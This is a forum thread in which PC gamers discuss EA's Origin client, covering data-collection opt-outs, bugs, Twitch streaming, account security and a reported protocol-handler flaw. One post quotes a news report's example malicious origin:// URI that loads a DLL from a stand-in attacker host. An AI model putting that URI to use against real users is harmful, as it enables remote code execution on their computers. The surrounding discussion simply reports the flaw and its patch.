EA's Origin DD service (not that Origin)

The text of the FAQ: "You can opt out of sharing hardware specifications and crash reports at any time. Sharing of system interaction data can be limited and made anonymous, but not completely disabled. All data sharing preferences can be controlled through your Origin Settings."

So you can limit the most invasive stuff but not disable it but you can disable the stuff that really doesn't matter much. Baby steps I suppose are better than none.

Yeah, the stuff that I want them to have... they allow me to disable. The stuff that I do not want them to have, under any circumstances... well, I can pretend that they wouldn't know it's from me.

I still think this is a huge step in the right direction. The lack of any kind of opt-out at all is what bothered me most about Origin. That all-or-nothing approach is just data extortion. I may need to revisit my Origin ban.

Anybody having any issues with run away Origin processes in the last couple of weeks? It isn't consistent, but a few times I've noticed CPU temps running a bit high only to find Origin using 15-20% of my CPU power. At least a couple of those times, I had gotten the box saying that Origin had disconnected.

Just kind of odd, as Origin generally has behaved well on my machine.

I only turn it on to play ME3, and turn it right back off after I'm done. With the 100 friend cap, and only a couple MP games on it, it's not worth running all the time like Steam is.

Stele wrote:

I only turn it on to play ME3, and turn it right back off after I'm done. With the 100 friend cap, and only a couple MP games on it, it's not worth running all the time like Steam is.

I play BF3, so it just saves time to leave it running. And up until now, I've not had an issue. It's not used many resources and been pretty well behaved.

I did put myself in the beta awhile back. I'll see if it continues.

Origin is getting ready to put out a beta with the ability to stream to Twitch.tv. Surprised they didn't also do capture to disc as well. And also surprised Steam hasn't done streaming yet.

It's coming along nicely. Streaming integration is an addition that moves origin to something that actually adds to the game, from just being a DD/DRM/launcher app.

I hope they bring back the list view though.

edit: Just saw this, 360/PS3 youtube streaming in Blops2

http://www.rockpapershotgun.com/2012...

Origin hacked?

No idea - but change your passwords and make sure you're not using the same password between your Origin and other (possibly) linked accounts!

I'm betting that EA have been lax about their security and general account security implementation and will now have to eat humble pie and toughen it all up. Especially if the password-change story in the RPS article is accurate...

I wouldn't be surprised if this is the usual "I use the same credentials everywhere" problem perhaps combined with less than great account recovery and ownership verification procedures?

So now every time I open Origin, it starts downloading all my ME2 DLC (which I've already installed) without even asking if now would be a convenient time to download several gigs.

I went to EA's new tech support HQ to complain, and I can't even log in. When I click Sign In, nothing happens. When I try to reply, I get a site error message.

Oh, EA...

Edit: And at help.ea.com, their log in button isn't working either. Wonderful.

Wait, Origin is handling the ME2 DLC now? That's an improvement in my book (not the unsolicited downloading part though) compared to the old separate Bioware method.

Ugh. That's disappointing. Before Origin, I'd registered on the BioWare site and purchased my ME2 and DA:O DLC using that login, then when Origin came out I'd forgotten about the BioWare site registered under a different email there. It's always a hassle trying to remember what login I have to put in where to access my DLC. And EA won't let me merge accounts either.

I have kinda had an urge to try and finish DA:O recently, but just thinking of what a pain it'll be to install and get everything playing nice puts me off it.

MannishBoy wrote:

Origin is getting ready to put out a beta with the ability to stream to Twitch.tv. Surprised they didn't also do capture to disc as well. And also surprised Steam hasn't done streaming yet.

I haven't used Origin in a long time and just noticed this feature today. That's awesome! I imagine Steam will get something like this going eventually.

Origin updates seem to be a pretty constant flow of good news, bad news lately.

Last month, it was "Good news, we've fixed Origin constantly redownloading your ME2 DLC! Now, though, turning on the in-game overlay is going to squash your frame rate. Better turn that off! Hope you weren't using it."

This month, it's "Good news, the overlay's performance problems are fixed! Now, though, Origin is going to become unstable for you again and crash every so often."

Sigh.

Origin has a security hole: http://arstechnica.com/security/2013...

The researchers' demo shows them taking control of a computer that has the Origin client and Crysis 3 game installed. Behind the scenes, the EA platform uses the origin://LaunchGame/71503 link to activate the game. When a targeted user instead clicks on a URI such as origin://LaunchGame/71503?CommandParams= -openautomate \\ATTACKER_IP\evil.dll, the Origin client will load a Windows dynamic link library file of the attackers' choosing on the victim's computer.

I think if you are clicking on web pages to start your games, you probably deserve what you get.

BadKen wrote:

I think if you are clicking on web pages to start your games, you probably deserve what you get.

Like battlelog for BF3?

Didn't Ubisoft already demonstrate for everyone how spectacularly wrong rolling your own protocol could go?

Glad to see EA's paying attention.

Kloreep wrote:

Didn't Ubisoft already demonstrate for everyone how spectacularly wrong rolling your own protocol could go?

So did Valve.

Kloreep wrote:

Didn't Ubisoft already demonstrate for everyone how spectacularly wrong rolling your own protocol could go?

Glad to see EA's paying attention.

Yep, and steam. It's almost inevitable that software will have bugs, and anything dealing with the internet in a complex way can be compromised, but I think there's something to be said for keeping things simple and the least amount of moving parts possible, for future maintenance if for nothing else. I wonder how many of these holes come about because of a feature implemented because they could, rather than because there was a big need they saw they had to fulfil.

Scratched wrote:
BadKen wrote:

I think if you are clicking on web pages to start your games, you probably deserve what you get.

Like battlelog for BF3?

That's a spectacularly stupid implementation.

BadKen wrote:
Scratched wrote:
BadKen wrote:

I think if you are clicking on web pages to start your games, you probably deserve what you get.

Like battlelog for BF3?

That's a spectacularly stupid implementation.

Sure, but a BF3 player has no choice and doesn't deserve what they get because EA did something dumb.

I note this is listed as having gotten a fix in the latest Origin patch, so there's that, at least.

shoptroll wrote:
Kloreep wrote:

Didn't Ubisoft already demonstrate for everyone how spectacularly wrong rolling your own protocol could go?

So did Valve.

Oh crap, did Valve fix this?

Mex wrote:
shoptroll wrote:
Kloreep wrote:

Didn't Ubisoft already demonstrate for everyone how spectacularly wrong rolling your own protocol could go?

So did Valve.

Oh crap, did Valve fix this?

Yep.

Oh, ok then : )

EA is talking like they're working to make Origin better. I still am not a fan of it mostly because it's not Steam and so makes any games played through there a divided experience. Kinda the same reason some people don't buy games on one console or whatever.

Talk is cheap, show me the improvements on the client I can use.

On the divided experience thing, EA and other companies, including Valve, need to realise they're not the platform, PC is the platform on which they provide a part. It'll stop being divided when they stop thinking that each of them is "the one" and everyone else should fall into their line, although less divisions between games they publish is a good start. They need to cooperate and have some cross compatibility.

Unfortunately that'll never happen, the real reason they do these clients is to put their store on your computer, and they would never allow anything that even acknowledges or suggests another store exists.

EA has done a lot to make Origin better. I'm still far from being a fan, but it's come a long way from the buggy pile of crap it launched as.

They recently added an account wide achievement/gamerscore setup, and integrated Twitch.tv broadcasting. I'm not terribly interested in either of those myself, but they do show that they're working to develop the platform.

Right now my biggest single complaint is that the Origin friends functionality is completely separate from Battlelog. That rates as my single biggest "WTF are you thinking?" on the whole setup. It's bad enough having friend lists that are fragmented between Steam and Origin, having it split between two services owned by the same company is just moronic.